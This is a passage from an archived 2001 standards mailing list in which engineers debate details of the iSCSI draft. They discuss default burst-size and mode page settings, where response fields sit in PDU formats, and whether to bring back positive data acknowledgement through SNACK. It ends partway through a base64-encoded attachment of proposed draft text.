mode page settings : > > Disconnect-Reconnect Mode Page > -------------------------- > > * EMDP = 0 > > * MaximumBurstSize = 512 units (as it currently defined. Targets can > request less data in its R2T and send shorter data-in sequences, if > mode select is not used by initiators to reduce this value.) > > * FirstBurstSize = 0 > > The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use > solicited data MUST first perform mode sense/select operations to query/set > these values. The above default setting of 128 is in-appropriate since : > > a) it can cause erroneous behaviour for those initiators that do not > perform > mode select to explicitly turn it off, since targets for which un-solicited > data is enabled but not used may reject/abort the I/O. > > b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is > allowed for every logged-in initiator and they have no control over turning > this off, since mode select is an initiator-driven operation. > Closing the command window causes performance drops and is not a very > satisfactory solution to this problem. > > Logical Unit Control Mode Page > ======================== > This mode page definition can be removed from the iscsi draft since it > governs per-LUN state information and LUN state is the realm of the > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > enable/disable CRN, since CRN is generated by the SCSI ULP. > > Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level > & not at a SCSI ULP mode page such as the Control Mode Page. (??). > > Could anybody comment on why CRN (a ULP feature) needs to be enabled in an > iscsi protocol mode page ? > Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in > FCP specific mode pages, since early revisions of FCP did'nt specify the > CRN > field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was > required to be queried/set using mode sense/select, prior to using CRN. > > Since iscsi supports CRN in its scsi command pdu from its initial rev, I > don't see why "Enable CRN" is needed to be done at the iscsi protocol > level. > (?). > > Regards, > Santosh > > "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > > > I vote for making the exchange of some text parameters MANDATORY, with no > > defaults. > > > > Marj > > > > > -----Original Message----- > > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > > Sent: Thursday, September 20, 2001 10:48 AM > > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > > Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > It is true that default mode settings for Mode Pages > > > are usually arranged between buyer and vendor for > > > maximum convenience in the buyer's systems. It is > > > generally true that any setting of a Mode Page will > > > allow the protocol to operate correctly, except a few, > > > notably the first burst size parameter if > > > ImmediateData is set to yes. > > > > > > On the other hand, some of the iSCSI text keyed > > > parameters MUST be known before the protocol will > > > operate correctly. ImmediateData is certainly > > > one of those. As a result, you have two choices: > > > > > > a) Make the negotiation of all such parameters > > > MANDATORY during the login and after any > > > reset that may change them, or; > > > > > > b) Define a default state that will be guaranteed > > > unless and until the parameter has been explicitly > > > changed. > > > > > > Your choice. > > > > > > Bob > > > > > > > -----Original Message----- > > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > > [mailto:sbhagat@tripace.com] > > > > Sent: Thursday, September 20, 2001 6:59 AM > > > > To: 'Santosh Rao'; IPS Reflector > > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > > > > Santosh, > > > > > > > > Where did you find these SCSI Mode page settings? At least I > > > > could not find > > > > it in SAM-2 document? The mode select command is available in > > > > SPI documents > > > > but they are meant for particular SCSI device and not for > > > > iSCSI device? > > > > > > > > Be it whatever the case I would like to ask why the default value of > > > > MaximumBurstSize is 512 units and why is the default value of > > > > FirstBurstSize > > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > > revisions so setting the default value of FirstBurstSize to > > > > 128 units means > > > > 65536 bytes or 64K Bytes and similarly the value of > > > > Maximumburstsize is 256K > > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > > > Sanjeev > > > > > > > > -----Original Message----- > > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > > Sent: Thursday, September 20, 2001 2:04 AM > > > > To: IPS Reflector > > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > > > > All, > > > > > > > > Speaking on the subject of default settings, some questions > > > on recent > > > > changes to the iscsi mode select pages...... > > > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > > out default > > > > values for the iscsi mode pages. Per my understanding, there are no > > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > > features and the default settings are that these features are > > > > turned off > > > > unless a mode select is explicitly used to enable them. > > > > > > > > However, the iscsi mode pages seems to be using the opposite > > > > policy and > > > > is advertising default settings for mode pages, that too, > > > > agreesive ones > > > > at that! IOW, an initiator implemenation has to explicitly > > > > issue a mode > > > > select to disable/turn_off features rather than issue a > > > mode select to > > > > turn them on. > > > > > > > > Here's a few examples : > > > > > > > > * default MaximumBurstSize : 512 units > > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > > by default > > > > !) > > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > > solicited > > > > data, unless they explicitly turn it off using mode > > > > select, since, > > > > not > > > > sending solicited data when it has been negotiated > > > > implies a target > > > > may > > > > abort the I/O. > > > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > > default settings > > > > be advertised for any iscsi mode > > > > pages. i.e. all defaults are conservative (set to 0), unless > > > > explicitly > > > > turned on thru a mode select. > > > > > > > > Comments ? > > > > > > > > Regards, > > > > Santosh > > > > > > > > "Mallikarjun C." wrote: > > > > > > > > > Matthew, > > > > > > > > > > I completely agree that the default should be "no"! I > > > pointed this > > > > > out sometime ago myself. Apart from what you point out, > > > the default > > > > > setting for "ImmediateData" seems to be at variance with the > > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > > > Julian, could you please consider this request? > > > > > > > > > > Regards. > > > > > -- > > > > > Mallikarjun > > > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > > > Julian, > > > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > > negotiation if > > > > > > the two sides differ. I presume that since the default is "yes", > > > > then only > > > > > > if both sides agree to "no" is immediate data turned > > > off. Please > > > > can this > > > > > > be stated. > > > > > > > > > > > > Additionally, I feel that the default value for > > > > ImmediateData should > > > > be > > > > > > "no". > > > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > > Presumable > > > > the > > > > > > minimum is selected. > > > > > > > > > > > #### santoshr.vcf has been removed from this note on September 22 2001 by Julian Satran From owner-ips@ece.cmu.edu Sat Sep 22 01:52:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15772 for ; Sat, 22 Sep 2001 01:52:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M55Im12778 for ips-outgoing; Sat, 22 Sep 2001 01:05:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M55GP12774 for ; Sat, 22 Sep 2001 01:05:16 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id HAA88850 for ; Sat, 22 Sep 2001 07:05:09 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M558a56608 for ; Sat, 22 Sep 2001 07:05:08 +0200 Subject: RE: iSCSI: PDU formats To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 08:06:58 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 08:05:07 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk it makes sense. Julo Sanjay Goyal , Julian Satran/Haifa/IBM@IBMIL 22-09-01 01:49 cc: Sanjay Goyal Please respond to Sanjay Goyal Subject: RE: iSCSI: PDU formats Hi One more request for PDU formats. When we are aligning Response/Status bytes, why should we leave poor Reason byte alone in Reject PDUs. It also can be moved to Byte-2 of first word, which is used for Response. IMO, Response is similar to the Reason of Reject PDUs. Regards Sanjay Goyal -----Original Message----- From: Robert D. Russell [mailto:rdr@mars.iol.unh.edu] Sent: Wednesday, September 12, 2001 10:44 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iSCSI: PDU formats Julian: I would like to request 3 small changes in the format of some of the PDUs. One of the design features that you have employed very successfully to date is to have a given field, such as the "Initiator Task Tag" for example, always appear in the same position (bytes 16-19) in any PDU in which it appears. This makes it easy to understand, to implement, and to debug. However, a few small inconsistencies in the application of this design principle have crept in with draft 7, and I would like to propose that we fix them. 1. In draft 6 the SCSI Response PDU had one Status/Response field in byte 3 -- in draft 7-90 it now has a Status field in byte 2 and a Response field in byte 3. In draft 6 the Data-in PDU also had a Status field in byte 3, and in draft 7-90 it is still in byte 3, with byte 2 unused (reserved). Would you please either: a. Reorder the bytes in the SCSI Response PDU so that the Status field will be in byte 3 (so it is consistent with the Data-in PDU) and the Response field will be in byte 2; or b. Move the status field in the Data-in PDU from byte 3 to byte 2 (so it remains consistent with the SCSI Response PDU). I would prefer alternative a. because it would leave the Data-in PDU unchanged for drafts 6, 7 and 8, and the SCSI Response PDU has to change in any case. However, obviously either solution would work. 2. In draft 7-90, a field called "Response" appears in 3 PDUs: a. In byte 36 of the Task Management Response PDU. b. In byte 36 of the Logout Response PDU. c. In byte 2 (if my request 1a above is taken) in the SCSI Response PDU. This is clearly inconsistent with a and b. Since bytes 2 and 3 are currently unused (reserved) in both the Task Management Response PDU and the Logout Response PDU, the simplest solution would be to move the "Response" field in those 2 PDUs to byte 2 in order to be consistent with the SCSI Response PDU. To keep the design clean, the new "Qualifier" field in the Task Management Response PDU should probably also be moved to byte 3. 3. In draft 7-90 the Login and Login Response PDUs have been modified with the introduction of the T, C, and CNxSG fields in byte 37. However, in the Login Response PDU these fields overlay the Status-Detail field, which is also in byte 37. Although the way to interpret this field is uniquely determined by the context, it is context dependent and I believe that this will lead to a lot of needless errors in coding, and that it also makes debugging more difficult, because the use of this byte changes during the login phase exchanges. This means that you can't always look at it the same way. To avoid this overlay, would you please move the new fields (T, C, and CNxSG) to one of the currently unused bytes. Many bytes (2, 10-11, 20-23, 38-39, 40-47) are currently unused in both of these PDUs, so there would appear to be no urgent need to overlay the new fields on top of an existing field in order to save space. Thanks, Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Sat Sep 22 01:53:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15858 for ; Sat, 22 Sep 2001 01:53:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M5EXW13224 for ips-outgoing; Sat, 22 Sep 2001 01:14:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M5EVP13220 for ; Sat, 22 Sep 2001 01:14:31 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id HAA159578 for ; Sat, 22 Sep 2001 07:14:23 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M5EJa221178 for ; Sat, 22 Sep 2001 07:14:19 +0200 Subject: RE: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 08:14:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 08:14:19 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Michael, I had some difficulty understanding your arguments. If you are worried about references - data can be acked by just refering to the ITT and sequential number (no TTT as data out don't need to be acked). Julo Michael Schoberg Sent by: cc: owner-ips@ece.cm Subject: RE: iSCSI: SNACK R2T/Data u.edu 22-09-01 01:47 Please respond to Michael Schoberg Using [SCSI Command Retry] would be the same as no ACK method and implies we could eliminate StatSN as well. Most SCSI devices will work without iSCSI recovery, but I believe there was consensus that some recovery method be built-in. Tapes and such won't like unnecessary retries. Julian's reference for ACK'ing extremely long transfers makes a case for a Data/R2T ACK (although I think such transactions may be arguably rare). I still believe that decoupling [Request][Data][R2T] & [Response] is helpful for building simpler overall designs. By having to know that an ACK refers to a response which refers to a request which refers to R2T and/or DataSN is cumbersome and unnecessary. Involving a second status queue specifically for R2T/Read Data allows for complete decoupling of the [Request][Data][R2T] & [Response]. If we're going to try to recover R2T and ReadData, I'd prefer to have it decoupled from other PDUs flowing through the system. However even if a separate queue is added, Julian's requirement that a specific ACK request be used is still legitimate for lengthy T->I transfers. For that a NOP/ACK type request (simply updating the DataSN/R2TSN queue pointers) works. ACKing by referencing the original request, in my opinion, is still inconvenient. As it stands now, SNACK isn't broken. Maybe that's the best compromise we'll see on this issue. : -----Original Message----- : From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] : Sent: Friday, September 21, 2001 12:31 PM : To: ips@ece.cmu.edu : Subject: Re: iSCSI: SNACK R2T/Data : : : : : The ack effect could also be achieved using SCSI Command Retry (use : the SCSI Command's expDataSN field) The target stops sending : Read PDUs if it runs out of buffers, and the initiator then : times out and retries the command. This is what a target : would have to do in the absence of some data ack. : : I looked at the archived emails on this subject (when dataSN : was called DataRN) The Orlando minutes also have a brief reference. : I suspect the atmosphere then was that the recovery scheme was : still partly defined and this DataSN ack scheme was adding to : the general sense of complexity (..so lets dispose it) : : I agree with Julian & Matthew that some form of data acks would : add value for long transfers. The acks will be cumulative and : not per ReadData PDU (based on prenegotiated intervals or on : a "send_ack" bit in the ReadData PDU set by the target) : : Btw, I see that the expDataSN field has disappeared from the : SCSI Command PDU. The Task Management Command also does not : have anything related to expDataSN. I may have missed an : email on this ? : : -Sandeep : : Julian Satran wrote: : > : > It does not have to involve a net type but it must be a : specific request : > (like SNACK) as there might be no output : > traffic at the time. The overhead involved is minor (as it : can be done only : > once per sequence and be cumulative). : > : > Julo : > : > : > Michael Schoberg : > : > g@cnt.com> cc: : > Sent by: Subject: RE: : iSCSI: SNACK R2T/Data : > owner-ips@ece.cm : > u.edu : > : > : > 21-09-01 18:43 : > Please respond : > to Michael : > Schoberg : > : > : > : > I can see the point of not involving a new ACK request for : [DATA] & [R2T]. : > However, it would be nice to have something like [CmdSN, : ExpStatSN][StatSN, : > ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI : > Response] is acknowledged for the request that originated : the [R2T] & : > [Data] : > messages can you assume [R2T] & [Data] was successfully : processed. This : > means you have hold onto a lot of associations in that : updating ExpStatSN : > will ACK more than just status messages. : > : > The nice thing about the [CmdSN, ExpStatSN][StatSN, : ExpCmdSN] mechanism was : > that it allowed for separate processing queues; status : messages can be : > unaware of the command that originated them. This : disassociation allowed : > for a simpler implementation (aka hardware assist). : > : > One possibility would be to split the [CmdSN, : ExpStatSN][StatSN, ExpCmdSN] : > into 16 bit fields rather than 32. Unless there's a : genuine feeling that : > more than 65K requests could be outstanding within session, : I don't see a : > problem. The extra 32 bits freed up could be used for a : Data/R2T_SN ACK : > and : > would allow a separate queue independent of [CmdSN, : ExpStatSN][StatSN, : > ExpCmdSN]. Since each queue doesn't have to maintain state : knowledge of : > the : > other, it allows for simpler design. : > : > Just and idea. : > : > : -----Original Message----- : > : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > : Sent: Friday, September 21, 2001 9:41 AM : > : To: ips@ece.cmu.edu : > : Subject: Re: iSCSI: SNACK R2T/Data : > : : > : : > : : > : Santosh, : > : : > : None of your arguments makes much sense. : > : The ACK (a third form of SNACK) can be done at explicit : > : boundaries and only : > : by initiators : > : supporting the within command class. For most of the : > : initiator it will : > : require 0 additional resources as they either : > : don't do they recovery, or the input data is short (the ack : > : is not needed : > : at the end as the status ack acks the data too). : > : For the ones that have long exchanges (tape and 3rd : party) it is a big : > : help. : > : : > : But you did not fail (again) to make your point. : > : : > : Julo : > : : > : : > : : > : : > : Santosh Rao : > : : > : : ips@ece.cmu.edu : > : hp.com> cc: : > : : > : Sent by: Subject: Re: : > : iSCSI: SNACK R2T/Data : > : owner-ips@ece. : > : : > : cmu.edu : > : : > : : > : : > : : > : : > : 20-09-01 18:54 : > : : > : Please respond : > : : > : to Santosh Rao : > : : > : : > : : > : : > : : > : : > : : > : : > : : > : Matthew, : > : : > : We have gone through this thread of discussion regarding : > : DataSNa long time : > : back on : > : ips and the consensus has been that I/O transfer sizes : are not large : > : enough to : > : justify OUT_OF_BAND acknowledgement of data. [achieved by : having the : > : initiator : > : generate NOP-OUTs in response to received data pdu's to send : > : a DataSN ack.] : > : : > : The primary dis-advantage with that scheme was that the data : > : ack's were : > : being : > : generated out-of-band, and therefore, implied extra cost : in terms of : > : initiator : > : resources for each I/O, as well as increased wire traffic per I/O, : > : performance : > : penalty, etc. : > : : > : I am opposed to the draft requiring initiators to send : > : out-of-band ack's to : > : data : > : pdu's through the use of initiator generated NOP-OUT : pdus. This is a : > : performance : > : penalty, a resource overhead, and not really justified in : > : most I/O traffic : > : due to : > : the avg. data xfer sizes. : > : : > : Regards, : > : Santosh : > : : > : : > : Julian Satran wrote: : > : : > : > Matthew, : > : > : > : > I am also in favor of such a mechanism. It is easy to : > : implement (another : > : > form of SNACK) and we have already built-in a mechanism : by which an : > : inbound : > : > stream can be marked for acking (the inbound sequence : > : separator F bit). : > : > It can also be specified as mandated only if the : > : within-command recovery : > : > class is present. : > : > : > : > However I am reluctant to open again this issue except if : > : there are more : > : > supporters. Data ACKs where hastily dropped at the interim : > : meeting in : > : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh : > : Rao as being : > : very : > : > vocal against them (arguing complexity) and carrying the : > : room with them. : > : > : > : > Julo : > : > : > : > : > : > "BURBRIDGE,MATTH : > : > EW To: Julian : > : Satran/Haifa/IBM@IBMIL, : > : > (HP-UnitedKingdo ips@ece.cmu.edu : > : > m,ex2)" cc: : > : > : iSCSI: SNACK : > : R2T/Data : > : > ge@hp.com> : > : > : > : > 19-09-01 17:25 : > : > Please respond : > : > to : > : > "BURBRIDGE,MATTH : > : > EW : > : > (HP-UnitedKingdo : > : > m,ex2)" : > : > : > : > : > : > : > : > I am very much in favour of having a positive ACK mechanism : > : to control : > : > buffer resources at the target. If there is a very large : > : transfer (e.g. : > : 1 : > : > Mb) then the sender can release buffer space once it : knows that the : > : > receiver : > : > has received the data. It is worth pointing out that this : > : mechanism is : > : for : > : > buffer control and is not for flow control which, as we : all know, is : > : > handled : > : > by TCP. : > : > : > : > Cheers : > : > : > : > Matthew Burbridge : > : > Senior Development Engineer : > : > NIS-Bristol : > : > Hewlett Packard : > : > Telnet: 312 7010 : > : > E-mail: matthewb@bri.hp.com : > : > : > : > -----Original Message----- : > : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > : > Sent: Wednesday, September 19, 2001 6:28 AM : > : > To: ips@ece.cmu.edu : > : > Subject: Re: iSCSI: SNACK R2T/Data : > : > : > : > There is no ACK mechanism. The group wisdom was that there : > : is no need for : > : > one. : > : > Incoming data and R2Ts are not acked (a mechanism that did : > : that existed : > : and : > : > was based on NOP-Out). : > : > : > : > Julo : > : > : > : > Michael Schoberg on : 18-09-2001 19:09:51 : > : > : > : > Please respond to Michael Schoberg : > : > : > : > To: "'ips@ece.cmu.edu'" , Julian : > : Satran/Haifa/IBM@IBMIL : > : > cc: : > : > Subject: iSCSI: SNACK R2T/Data : > : > : > : > Old subject, but I couldn't find any discussion on this: : > : > : > : > When does the target know it no longer needs to hold R2T & : > : Data PDUs? : > : > StatSN responses are acknowledged through the ExpStatSN : > : field received in : > : > future I->T requests. What's the acknowledgement method : > : for R2T & Data : > : > PDUs? Is it tied to the original request and acknowledged : > : through the : > : > ExpStatSN acknowledgment of the request's response? : > : > : > : > Thanks. : > : : > : - santoshr.vcf : > : : > : : > : : From owner-ips@ece.cmu.edu Sat Sep 22 01:54:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15882 for ; Sat, 22 Sep 2001 01:54:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M4joh11885 for ips-outgoing; Sat, 22 Sep 2001 00:45:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M4jmP11879 for ; Sat, 22 Sep 2001 00:45:48 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA90984 for ; Sat, 22 Sep 2001 06:45:41 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M4je9193900 for ; Sat, 22 Sep 2001 06:45:40 +0200 Subject: Re: iscsi : MaximumBurstSize & FirstBurstSize values. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 07:47:32 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 07:45:40 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I'll spell it out. julo Santosh Rao hp.com> cc: Sent by: Subject: iscsi : MaximumBurstSize & owner-ips@ece. FirstBurstSize values. cmu.edu 21-09-01 21:43 Please respond to Santosh Rao All, I believe the FirstBurstSize setting has to be <= MaximumBurstSize ? I suggest that this be explicitly called out in the definition of FirstBurstSize. If this rule is not followed, an initiator would need to break the un-solicited data it sends into more than 1 data-out sequence, and in setting the F bit to indicate end-of-sequence, it can confuse the target into thinking its end of un-solicited data. The definitions currently read : "4.1.1 MaximumBurstSize Field (16 bit) This field defines the maximum SCSI data payload in an iSCSI sequence (a sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out PDU with the F bit set to one) in units of 512 bytes. The default value assumed for a new iSCSI session (I_T nexus) is 512 units. 4.1.3 FirstBurstSize Field (16 bit) This field defines the maximum amount of unsolicited data an iSCSI initiator may to send to the target in units of 512 bytes. The default value assumed for a new iSCSI session (I_T nexus) is 128 units. " Regards, Santosh #### santoshr.vcf has been removed from this note on September 22 2001 by Julian Satran From owner-ips@ece.cmu.edu Sat Sep 22 06:45:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA29391 for ; Sat, 22 Sep 2001 06:45:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M9meU05513 for ips-outgoing; Sat, 22 Sep 2001 05:48:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M9mcP05507 for ; Sat, 22 Sep 2001 05:48:38 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id LAA73020 for ; Sat, 22 Sep 2001 11:48:31 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M9mU9276504 for ; Sat, 22 Sep 2001 11:48:30 +0200 Subject: iSCSI - 07-96/long values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 12:50:22 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 12:48:30 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk It looks like we can settle the long values issue by: - allowing tokens of larger that 255 byte where needed - enabling an additional coding (base64) used widely to transfer certificates that is somewhat more economical than hex That is what appears now in 07-96 Julo From owner-ips@ece.cmu.edu Sat Sep 22 08:00:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29960 for ; Sat, 22 Sep 2001 08:00:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8MB2qG08553 for ips-outgoing; Sat, 22 Sep 2001 07:02:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8MB2oP08547 for ; Sat, 22 Sep 2001 07:02:50 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id NAA223236 for ; Sat, 22 Sep 2001 13:02:43 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8MB2ha136266 for ; Sat, 22 Sep 2001 13:02:43 +0200 Subject: iSCSI - positive data ack - change proposal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 14:04:34 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 14:02:42 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=C2256ACF003C6AE38f9e8a93df938690918cC2256ACF003C6AE3" Content-Disposition: inline Sender: owner-ips@ece.cmu.edu Precedence: bulk --0__=C2256ACF003C6AE38f9e8a93df938690918cC2256ACF003C6AE3 Content-type: text/plain; charset=us-ascii Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo (See attached file: ack.txt) --0__=C2256ACF003C6AE38f9e8a93df938690918cC2256ACF003C6AE3 Content-type: text/plain; name="ack.txt" Content-Transfer-Encoding: base64 V2l0aGluIDIuMi4yLjMNCi0tLS0tLS0tLS0tLS0tLQ0KDQpJbml0aWF0b3JzIE1BWSBhbHNvIGFj a25vd2xlZGdlIHJlY2VpdmVkIGRhdGEgYW5kIHJlZHVjZSBieSB0aGlzIHRoZSByZXNvdXJjZXMg YSB0YXJnZXQgbmVlZHMgdG8gZGVkaWNhdGUgdG8gZGF0YSByZWNvdmVyeSBpZiB0YXJnZXQgYW5k IGluaXRpYXRvciBzdXBwb3J0IHRoaXMgdHlwZSBvZiByZWNvdmVyeS4NCg0KDQotLS0tLS0NCjMu Ny4xIEYgKEZpbmFsKSBCaXQNCg0KRm9yIG91dGdvaW5nIGRhdGEsIHRoaXMgYml0IGlzIDEgZm9y IHRoZSBsYXN0IFBEVSBvZiB1bnNvbGljaXRlZCBkYXRhIG9yIHRoZSBsYXN0IFBEVSBvZiBhIHNl cXVlbmNlIGFuc3dlcmluZyBhbiBSMlQuDQoNCkZvciBpbmNvbWluZyBkYXRhLCB0aGlzIGJpdCBp cyAxIGZvciB0aGUgbGFzdCBpbnB1dCAocmVhZCkgZGF0YSBQRFUgb2YgYSBzZXF1ZW5jZS4gIElu cHV0IGNhbiBiZSBzcGxpdCBpbiBzZXZlcmFsIHNlcXVlbmNlcyBlYWNoIG9uZSBoYXZpbmcgaXQn cyBvd24gRiBiaXQuIFNwbGl0dGluZyBpbiBzZXF1ZW5jZXMgZG9lcyBub3QgYWZmZWN0IERhdGFT TiBjb3VudGluZyBvbiBEYXRhLUluIFBEVXMgYnV0IE1BWSBiZSB1c2VkIGFzIGEgImNoYW5nZSBk aXJlY3Rpb24iIGluZGljYXRpb24gZm9yIEJpZGlyZWN0aW9uYWwgb3BlcmF0aW9ucyB0aGF0IG5l ZWQgc3VjaCBhIGNoYW5nZSBhbmQvb3IgZW5kIG9mIHJlY292ZXJhYmxlIHNlcXVlbmNlcyBieSB0 YXJnZXRzIHdpdGggYSBsaW1pdGVkIHJldHJhbnNtaXNzaW9uIGJ1ZmZlci4gIFVwb24gcmVjZWl2 aW5nIGFuIERhdGEtSW4gUERVIHdpdGggdGhlIEYgc2V0IHRvIDEgYW5kIHRoZSBTIGJpdCAwIGlu IGEgc2Vzc2lvbiB3aXRoIEVycm9yUmVjb3ZlcnlMZXZlbCAxIG9yIGhpZ2hlciB0aGUgaW5pdGlh 